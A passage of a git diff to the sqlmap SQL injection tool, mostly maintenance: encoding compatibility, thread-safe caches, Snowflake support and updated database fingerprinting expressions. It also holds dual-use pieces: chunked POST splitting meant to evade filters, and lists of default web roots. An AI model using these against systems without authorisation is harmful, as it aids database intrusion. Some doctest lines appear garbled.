+ host = value[:-(1 + len(port))]
+ else:
+ host = value
# Avoid to add a static content length header to
# headers and consider the following lines as
@@ -5448,7 +5476,7 @@ def _parseBurpLog(content):
scheme = None
port = None
- if not(conf.scope and not re.search(conf.scope, url, re.I)):
+ if not (conf.scope and not re.search(conf.scope, url, re.I)):
yield (url, conf.method or method, data, cookie, tuple(headers))
content = readCachedFileContent(reqFile)
@@ -5552,6 +5580,7 @@ def removePostHintPrefix(value):
return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value)
+
def chunkSplitPostData(data):
"""
Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords)
@@ -5562,7 +5591,7 @@ def chunkSplitPostData(data):
"""
length = len(data)
- retVal = ""
+ retVal = []
index = 0
while index < length:
@@ -5582,9 +5611,38 @@ def chunkSplitPostData(data):
break
index += chunkSize
- retVal += "%x;%s\r\n" % (chunkSize, salt)
- retVal += "%s\r\n" % candidate
- retVal += "0\r\n\r\n"
+ # Append to list instead of recreating the string
+ retVal.append("%x;%s\r\n" % (chunkSize, salt))
+ retVal.append("%s\r\n" % candidate)
+
+ retVal.append("0\r\n\r\n")
+
+ return "".join(retVal)
+
+def checkSums():
+ """
+ Validate the content of the digest file (i.e. sha256sums.txt)
+ >>> checkSums()
+ True
+ """
+
+ retVal = True
+
+ if paths.get("DIGEST_FILE"):
+ for entry in getFileItems(paths.DIGEST_FILE):
+ match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry)
+ if match:
+ expected, filename = match.groups()
+ filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep)
+ if not checkFile(filepath, False):
+ continue
+ with open(filepath, "rb") as f:
+ content = f.read()
+ if b'\0' not in content:
+ content = content.replace(b"\r\n", b"\n")
+ if not hashlib.sha256(content).hexdigest() == expected:
+ retVal &= False
+ break
return retVal
diff --git a/lib/core/compat.py b/lib/core/compat.py
index 851e57eb87d..7020863da46 100644
--- a/lib/core/compat.py
+++ b/lib/core/compat.py
@@ -1,14 +1,16 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
+import codecs
import binascii
import functools
+import io
import math
import os
import random
@@ -312,3 +314,116 @@ def LooseVersion(version):
result = float("NaN")
return result
+
+# NOTE: codecs.open re-implementation (deprecated in Python 3.14)
+
+try:
+ # Py2
+ _text_type = unicode
+ _bytes_types = (str, bytearray)
+except NameError:
+ # Py3
+ _text_type = str
+ _bytes_types = (bytes, bytearray, memoryview)
+
+_WRITE_CHARS = ("w", "a", "x", "+")
+
+def _is_write_mode(mode):
+ return any(ch in mode for ch in _WRITE_CHARS)
+
+class MixedWriteTextIO(object):
+ """
+ Text-ish stream wrapper that accepts both text and bytes in write().
+ Bytes are decoded using the file's (encoding, errors) before writing.
+
+ Optionally approximates line-buffering by flushing when a newline is written.
+ """
+ def __init__(self, fh, encoding, errors, line_buffered=False):
+ self._fh = fh
+ self._encoding = encoding
+ self._errors = errors
+ self._line_buffered = line_buffered
+
+ def write(self, data):
+ # bytes-like but not text -> decode
+ if isinstance(data, _bytes_types) and not isinstance(data, _text_type):
+ data = bytes(data).decode(self._encoding, self._errors)
+ elif not isinstance(data, _text_type):
+ data = _text_type(data)
+
+ n = self._fh.write(data)
+
+ # Approximate "line buffering" behavior if requested
+ if self._line_buffered and u"\n" in data:
+ try:
+ self._fh.flush()
+ except Exception:
+ pass
+
+ return n
+
+ def writelines(self, lines):
+ for x in lines:
+ self.write(x)
+
+ def __iter__(self):
+ return iter(self._fh)
+
+ def __next__(self):
+ return next(self._fh)
+
+ def next(self): # Py2
+ return self.__next__()
+
+ def __getattr__(self, name):
+ return getattr(self._fh, name)
+
+ def __enter__(self):
+ self._fh.__enter__()
+ return self
+
+ def __exit__(self, exc_type, exc, tb):
+ return self._fh.__exit__(exc_type, exc, tb)
+
+
+def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1):
+ """
+ Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior.
+
+ - If encoding is None: return io.open(...) as-is.
+ - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter
+ (like codecs.open()).
+ - For write-ish modes: return a wrapper that also accepts bytes on .write().
+ - Handles buffering=1 in binary mode by downgrading underlying buffering to -1,
+ while optionally preserving "flush on newline" behavior in the wrapper.
+ """
+ if encoding is None:
+ return io.open(filename, mode, buffering=buffering)
+
+ bmode = mode
+ if "b" not in bmode:
+ bmode += "b"
+
+ # Avoid line-buffering warnings/errors on binary streams
+ line_buffered = (buffering == 1)
+ if line_buffered:
+ buffering = -1
+
+ f = io.open(filename, bmode, buffering=buffering)
+
+ try:
+ info = codecs.lookup(encoding)
+ srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors)
+ srw.encoding = encoding
+
+ if _is_write_mode(mode):
+ return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered)
+
+ return srw
+ except Exception:
+ try:
+ f.close()
+ finally:
+ raise
+
+codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open
diff --git a/lib/core/convert.py b/lib/core/convert.py
index 6478f98f219..0b4cddd739e 100644
--- a/lib/core/convert.py
+++ b/lib/core/convert.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -31,6 +31,7 @@
from lib.core.settings import UNICODE_ENCODING
from thirdparty import six
from thirdparty.six import unichr as _unichr
+from thirdparty.six.moves import html_parser
from thirdparty.six.moves import collections_abc as _collections
try:
@@ -58,7 +59,7 @@ def base64pickle(value):
try:
retVal = encodeBase64(pickle.dumps(value), binary=False)
except:
- retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
+ raise
return retVal
@@ -81,25 +82,27 @@ def base64unpickle(value):
def htmlUnescape(value):
"""
- Returns (basic conversion) HTML unescaped value
+ Returns HTML unescaped value
>>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar'
+ True
+ >>> htmlUnescape('foobar') == 'foobar'
+ True
+ >>> htmlUnescape('©€') == htmlUnescape('©€')
+ True
"""
- retVal = value
-
if value and isinstance(value, six.string_types):
- replacements = (("<", '<'), (">", '>'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'"))
- for code, value in replacements:
- retVal = retVal.replace(code, value)
-
- try:
- retVal = re.sub(r"([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
- except (ValueError, OverflowError):
- pass
-
- return retVal
+ if six.PY3:
+ import html
+ return html.unescape(value)
+ else:
+ return html_parser.HTMLParser().unescape(value)
+ return value
def singleTimeWarnMessage(message): # Cross-referenced function
sys.stdout.write(message)
@@ -137,7 +140,7 @@ def dejsonize(data):
def decodeHex(value, binary=True):
"""
- Returns a decoded representation of provided hexadecimal value
+ Returns a decoded representation of the provided hexadecimal value
>>> decodeHex("313233") == b"123"
True
@@ -165,7 +168,7 @@ def decodeHex(value, binary=True):
def encodeHex(value, binary=True):
"""
- Returns a encoded representation of provided string value
+ Returns an encoded representation of the provided value
>>> encodeHex(b"123") == b"313233"
True
@@ -173,10 +176,12 @@ def encodeHex(value, binary=True):
'313233'
>>> encodeHex(b"123"[0]) == b"31"
True
+ >>> encodeHex(123, binary=False)
+ '7b'
"""
if isinstance(value, int):
- value = six.unichr(value)
+ value = six.int2byte(value)
if isinstance(value, six.text_type):
value = value.encode(UNICODE_ENCODING)
@@ -234,7 +239,7 @@ def decodeBase64(value, binary=True, encoding=None):
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
"""
- Returns a decoded representation of provided Base64 value
+ Returns a Base64 encoded representation of the provided value
>>> encodeBase64(b"123") == b"MTIz"
True
@@ -290,7 +295,11 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
except (LookupError, TypeError):
encoding = UNICODE_ENCODING
- if isinstance(value, six.text_type):
+ if isinstance(value, bytearray):
+ return bytes(value)
+ elif isinstance(value, memoryview):
+ return value.tobytes()
+ elif isinstance(value, six.text_type):
if INVALID_UNICODE_PRIVATE_AREA:
if unsafe:
for char in xrange(0xF0000, 0xF00FF + 1):
@@ -299,7 +308,7 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
retVal = value.encode(encoding, errors)
if unsafe:
- retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
+ retVal = re.sub((r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER).encode(), lambda _: decodeHex(_.group(1)), retVal)
else:
try:
retVal = value.encode(encoding, errors)
@@ -333,6 +342,8 @@ def getUnicode(value, encoding=None, noneToNull=False):
True
>>> getUnicode(None) == 'None'
True
+ >>> getUnicode(b'/etc/passwd') == '/etc/passwd'
+ True
"""
# Best position for --time-limit mechanism
@@ -349,7 +360,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding()))
if all(_ in value for _ in (b'<', b'>')):
pass
- elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value:
+ elif b'\n' not in value and re.search(r"(?i)\w+\.\w{2,3}\Z|\A(\w:\\|/\w+)", six.text_type(value, UNICODE_ENCODING, errors="ignore")):
candidates = filterNone((encoding, sys.getfilesystemencoding(), kb.get("pageEncoding") if kb.get("originalPage") else None, UNICODE_ENCODING, conf.get("encoding")))
elif conf.get("encoding") and b'\n' not in value:
candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING))
@@ -398,10 +409,13 @@ def getText(value, encoding=None):
def stdoutEncode(value):
"""
- Returns binary representation of a given Unicode value safe for writing to stdout
+ Returns textual representation of a given value safe for writing to stdout
+ >>> stdoutEncode(b"foobar")
+ 'foobar'
"""
- value = value or ""
+ if value is None:
+ value = ""
if IS_WIN and IS_TTY and kb.get("codePage", -1) is None:
output = shellExec("chcp")
@@ -411,36 +425,32 @@ def stdoutEncode(value):
try:
candidate = "cp%s" % match.group(1)
codecs.lookup(candidate)
- except LookupError:
- pass
- else:
kb.codePage = candidate
+ except (LookupError, TypeError):
+ pass
kb.codePage = kb.codePage or ""
- if isinstance(value, six.text_type):
- encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
-
- while True:
- try:
- retVal = value.encode(encoding)
- break
- except UnicodeEncodeError as ex:
- value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:]
-
- warnMsg = "cannot properly display (some) Unicode characters "
- warnMsg += "inside your terminal ('%s') environment. All " % encoding
- warnMsg += "unhandled occurrences will result in "
- warnMsg += "replacement with '?' character. Please, find "
- warnMsg += "proper character representation inside "
- warnMsg += "corresponding output files"
- singleTimeWarnMessage(warnMsg)
+ encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
- if six.PY3:
- retVal = getUnicode(retVal, encoding)
+ if six.PY3:
+ if isinstance(value, (bytes, bytearray)):
+ value = getUnicode(value, encoding)
+ elif not isinstance(value, str):
+ value = str(value)
+ try:
+ retVal = value.encode(encoding, errors="replace").decode(encoding, errors="replace")
+ except (LookupError, TypeError):
+ retVal = value.encode("ascii", errors="replace").decode("ascii", errors="replace")
else:
- retVal = value
+ if isinstance(value, six.text_type):
+ try:
+ retVal = value.encode(encoding, errors="replace")
+ except (LookupError, TypeError):
+ retVal = value.encode("ascii", errors="replace")
+ else:
+ retVal = value
return retVal
@@ -455,7 +465,7 @@ def getConsoleLength(value):
"""
if isinstance(value, six.text_type):
- retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
+ retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value)
else:
retVal = len(value)
diff --git a/lib/core/data.py b/lib/core/data.py
index c2b4325d719..5523a60c49a 100644
--- a/lib/core/data.py
+++ b/lib/core/data.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/core/datatype.py b/lib/core/datatype.py
index c044055e8c0..b0b1809f8a8 100644
--- a/lib/core/datatype.py
+++ b/lib/core/datatype.py
@@ -1,11 +1,12 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import copy
+import threading
import types
from thirdparty.odict import OrderedDict
@@ -19,21 +20,18 @@ class AttribDict(dict):
>>> foo.bar = 1
>>> foo.bar
1
+ >>> import copy; copy.deepcopy(foo).bar
+ 1
"""
def __init__(self, indict=None, attribute=None, keycheck=True):
if indict is None:
indict = {}
- # Set any attributes here - before initialisation
- # these remain as normal attributes
- self.attribute = attribute
- self.keycheck = keycheck
dict.__init__(self, indict)
- self.__initialised = True
-
- # After initialisation, setting attributes
- # is the same as setting an item
+ self.__dict__["_attribute"] = attribute
+ self.__dict__["_keycheck"] = keycheck
+ self.__dict__["_initialized"] = True
def __getattr__(self, item):
"""
@@ -44,7 +42,7 @@ def __getattr__(self, item):
try:
return self.__getitem__(item)
except KeyError:
- if self.keycheck:
+ if self.__dict__.get("_keycheck"):
raise AttributeError("unable to access item '%s'" % item)
else:
return None
@@ -57,7 +55,7 @@ def __delattr__(self, item):
try:
return self.pop(item)
except KeyError:
- if self.keycheck:
+ if self.__dict__.get("_keycheck"):
raise AttributeError("unable to access item '%s'" % item)
else:
return None
@@ -68,14 +66,8 @@ def __setattr__(self, item, value):
Only if we are initialised
"""
- # This test allows attributes to be set in the __init__ method
- if "_AttribDict__initialised" not in self.__dict__:
- return dict.__setattr__(self, item, value)
-
- # Any normal attributes are handled normally
- elif item in self.__dict__:
- dict.__setattr__(self, item, value)
-
+ if "_initialized" not in self.__dict__ or item in self.__dict__:
+ self.__dict__[item] = value
else:
self.__setitem__(item, value)
@@ -86,14 +78,12 @@ def __setstate__(self, dict):
self.__dict__ = dict
def __deepcopy__(self, memo):
- retVal = self.__class__()
+ retVal = self.__class__(keycheck=self.__dict__.get("_keycheck"))
memo[id(self)] = retVal
- for attr in dir(self):
- if not attr.startswith('_'):
- value = getattr(self, attr)
- if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
- setattr(retVal, attr, copy.deepcopy(value, memo))
+ for attr, value in self.__dict__.items():
+ if attr not in ('_attribute', '_keycheck', '_initialized'):
+ setattr(retVal, attr, copy.deepcopy(value, memo))
for key, value in self.items():
retVal.__setitem__(key, copy.deepcopy(value, memo))
@@ -101,8 +91,8 @@ def __deepcopy__(self, memo):
return retVal
class InjectionDict(AttribDict):
- def __init__(self):
- AttribDict.__init__(self)
+ def __init__(self, **kwargs):
+ AttribDict.__init__(self, **kwargs)
self.place = None
self.parameter = None
@@ -142,6 +132,7 @@ class LRUDict(object):
def __init__(self, capacity):
self.capacity = capacity
self.cache = OrderedDict()
+ self.__lock = threading.Lock()
def __len__(self):
return len(self.cache)
@@ -150,20 +141,25 @@ def __contains__(self, key):
return key in self.cache
def __getitem__(self, key):
- value = self.cache.pop(key)
- self.cache[key] = value
- return value
+ with self.__lock:
+ value = self.cache.pop(key)
+ self.cache[key] = value
+ return value
- def get(self, key):
- return self.__getitem__(key)
+ def get(self, key, default=None):
+ try:
+ return self.__getitem__(key)
+ except:
+ return default
def __setitem__(self, key, value):
- try:
- self.cache.pop(key)
- except KeyError:
- if len(self.cache) >= self.capacity:
- self.cache.popitem(last=False)
- self.cache[key] = value
+ with self.__lock:
+ try:
+ self.cache.pop(key)
+ except KeyError:
+ if len(self.cache) >= self.capacity:
+ self.cache.popitem(last=False)
+ self.cache[key] = value
def set(self, key, value):
self.__setitem__(key, value)
diff --git a/lib/core/decorators.py b/lib/core/decorators.py
index 433ae3f959b..e8fbe4b6ccc 100644
--- a/lib/core/decorators.py
+++ b/lib/core/decorators.py
@@ -1,12 +1,13 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import functools
import hashlib
+import struct
import threading
from lib.core.datatype import LRUDict
@@ -15,7 +16,6 @@
from lib.core.threads import getCurrentThreadData
_cache = {}
-_cache_lock = threading.Lock()
_method_locks = {}
def cachedmethod(f):
@@ -38,22 +38,38 @@ def cachedmethod(f):
"""
_cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
+ _method_locks[f] = threading.RLock()
@functools.wraps(f)
def _f(*args, **kwargs):
try:
- key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
- except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
- result = f(*args, **kwargs)
- else:
+ # NOTE: fast-path
+ if kwargs:
+ key = hash((f, args, tuple(map(type, args)), frozenset(kwargs.items()))) & 0x7fffffffffffffff
+ else:
+ key = hash((f, args, tuple(map(type, args)))) & 0x7fffffffffffffff
+ except TypeError:
+ # NOTE: failback slow-path
+ parts = (
+ f.__module__ + "." + f.__name__,
+ "^".join(repr(a) for a in args),
+ "^".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs))
+ )
try:
- with _cache_lock:
- result = _cache[f][key]
- except KeyError:
- result = f(*args, **kwargs)
+ key = struct.unpack(" originalLevel:
- threadData.valueStack = threadData.valueStack[:originalLevel]
+ del threadData.valueStack[originalLevel:]
return result
return _
def lockedmethod(f):
+ """
+ Decorates a function or method with a reentrant lock (only one thread can execute the function at a time)
+
+ >>> @lockedmethod
+ ... def recursive_count(n):
+ ... if n <= 0: return 0
+ ... return n + recursive_count(n - 1)
+ >>> recursive_count(5)
+ 15
+ """
+
+ lock = threading.RLock()
+
@functools.wraps(f)
def _(*args, **kwargs):
- if f not in _method_locks:
- _method_locks[f] = threading.RLock()
-
- with _method_locks[f]:
+ with lock:
result = f(*args, **kwargs)
-
return result
return _
diff --git a/lib/core/defaults.py b/lib/core/defaults.py
index 54410f6dbf6..743ab6a26b9 100644
--- a/lib/core/defaults.py
+++ b/lib/core/defaults.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/core/dicts.py b/lib/core/dicts.py
index e031eca8e48..a1baf0db3a2 100644
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -39,6 +39,7 @@
from lib.core.settings import VERTICA_ALIASES
from lib.core.settings import VIRTUOSO_ALIASES
from lib.core.settings import CLICKHOUSE_ALIASES
+from lib.core.settings import SNOWFLAKE_ALIASES
FIREBIRD_TYPES = {
261: "BLOB",
@@ -177,7 +178,7 @@
PGSQL_PRIVS = {
1: "createdb",
2: "super",
- 3: "catupd",
+ 3: "replication",
}
# Reference(s): http://stackoverflow.com/a/17672504
@@ -225,10 +226,10 @@
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"),
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"),
- DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"),
+ DBMS.ORACLE: (ORACLE_ALIASES, "python-oracledb", "https://oracle.github.io/python-oracledb/", "oracle"),
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/3/library/sqlite3.html", "sqlite"),
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
- DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
+ DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "https://kinterbasdb.sourceforge.net/", "firebird"),
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
@@ -250,6 +251,7 @@
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
+ DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
}
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -257,7 +259,7 @@
DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysAccessObjects",
DBMS.FIREBIRD: " FROM RDB$DATABASE",
- DBMS.MAXDB: " FROM VERSIONS",
+ DBMS.MAXDB: " FROM DUAL",
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
@@ -269,11 +271,11 @@
HEURISTIC_NULL_EVAL = {
DBMS.ACCESS: "CVAR(NULL)",
DBMS.MAXDB: "ALPHA(NULL)",
- DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
- DBMS.MYSQL: "QUARTER(NULL XOR NULL)",
+ DBMS.MSSQL: "PARSENAME(NULL,NULL)",
+ DBMS.MYSQL: "IFNULL(QUARTER(NULL),NULL XOR NULL)", # NOTE: previous form (i.e., QUARTER(NULL XOR NULL)) was bad as some optimization engines wrongly evaluate QUARTER(NULL XOR NULL) to 0
DBMS.ORACLE: "INSTR2(NULL,NULL)",
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
- DBMS.SQLITE: "UNLIKELY(NULL)",
+ DBMS.SQLITE: "JULIANDAY(NULL)",
DBMS.H2: "STRINGTOUTF8(NULL)",
DBMS.MONETDB: "CODE(NULL)",
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
@@ -282,13 +284,14 @@
DBMS.PRESTO: "FROM_HEX(NULL)",
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
DBMS.MIMERSQL: "ASCII_CHAR(256)",
- DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
+ DBMS.CRATEDB: "MD5(NULL~NULL)", # NOTE: NULL~NULL also being evaluated on H2 and Ignite
DBMS.CUBRID: "(NULL SETEQ NULL)",
DBMS.CACHE: "%SQLUPPER NULL",
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
- DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))",
+ DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)",
DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
- DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL",
+ DBMS.CLICKHOUSE: "halfMD5(NULL)",
+ DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
}
SQL_STATEMENTS = {
@@ -324,6 +327,7 @@
"update ",
"delete ",
"merge ",
+ "copy ",
"load ",
),
@@ -380,13 +384,24 @@
}
DUMP_DATA_PREPROCESS = {
- DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643
- DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
+ DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},
+ DBMS.MSSQL: {
+ "IMAGE": "CONVERT(VARBINARY(MAX),%s)",
+ "GEOMETRY": "(%s).STAsText()",
+ "GEOGRAPHY": "(%s).STAsText()"
+ },
+ DBMS.PGSQL: {
+ "GEOMETRY": "ST_AsText(%s)",
+ "GEOGRAPHY": "ST_AsText(%s)"
+ },
+ DBMS.MYSQL: {
+ "GEOMETRY": "ST_AsText(%s)"
+ }
}
DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
- OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+ OS.LINUX: ("/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs", "/usr/local/var/www", "/usr/share/nginx/html")
}
PART_RUN_CONTENT_TYPES = {
diff --git a/lib/core/dump.py b/lib/core/dump.py
index 2e3cdfde635..aa50ae07c4c 100644
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -45,6 +45,7 @@
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException
from lib.core.replication import Replication
+from lib.core.settings import CHECK_SQLITE_TYPE_THRESHOLD
from lib.core.settings import DUMP_FILE_BUFFER_SIZE
from lib.core.settings import HTML_DUMP_CSS_STYLE
from lib.core.settings import IS_WIN
@@ -109,7 +110,7 @@ def setOutputFile(self):
self._outputFile = os.path.join(conf.outputPath, "log")
try:
- self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
+ self._outputFP = openFile(self._outputFile, 'a' if not conf.flushSession else 'w')
except IOError as ex:
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
@@ -174,7 +175,7 @@ def currentUser(self, data):
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data):
- if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
+ if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE):
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO):
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -452,7 +453,7 @@ def dbTableValues(self, tableValues):
dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
if not checkFile(dumpFileName, False):
try:
- openFile(dumpFileName, "w+b").close()
+ openFile(dumpFileName, "w+").close()
except SqlmapSystemException:
raise
except:
@@ -480,9 +481,15 @@ def dbTableValues(self, tableValues):
else:
count += 1
- dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)
+ dumpFP = openFile(dumpFileName, 'w' if not appendToFile else 'a', buffering=DUMP_FILE_BUFFER_SIZE)
count = int(tableValues["__infos__"]["count"])
+ if count > TRIM_STDOUT_DUMP_SIZE:
+ warnMsg = "console output will be trimmed to "
+ warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
+ warnMsg += "large table size"
+ logger.warning(warnMsg)
+
separator = str()
field = 1
fields = len(tableValues) - 1
@@ -509,7 +516,8 @@ def dbTableValues(self, tableValues):
if column != "__infos__":
colType = Replication.INTEGER
- for value in tableValues[column]['values']:
+ for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))):
+ value = tableValues[column]['values'][i]
try:
if not value or value == " ": # NULL
continue
@@ -522,7 +530,8 @@ def dbTableValues(self, tableValues):
if colType is None:
colType = Replication.REAL
- for value in tableValues[column]['values']:
+ for i in xrange(min(CHECK_SQLITE_TYPE_THRESHOLD, len(tableValues[column]['values']))):
+ value = tableValues[column]['values'][i]
try:
if not value or value == " ": # NULL
continue
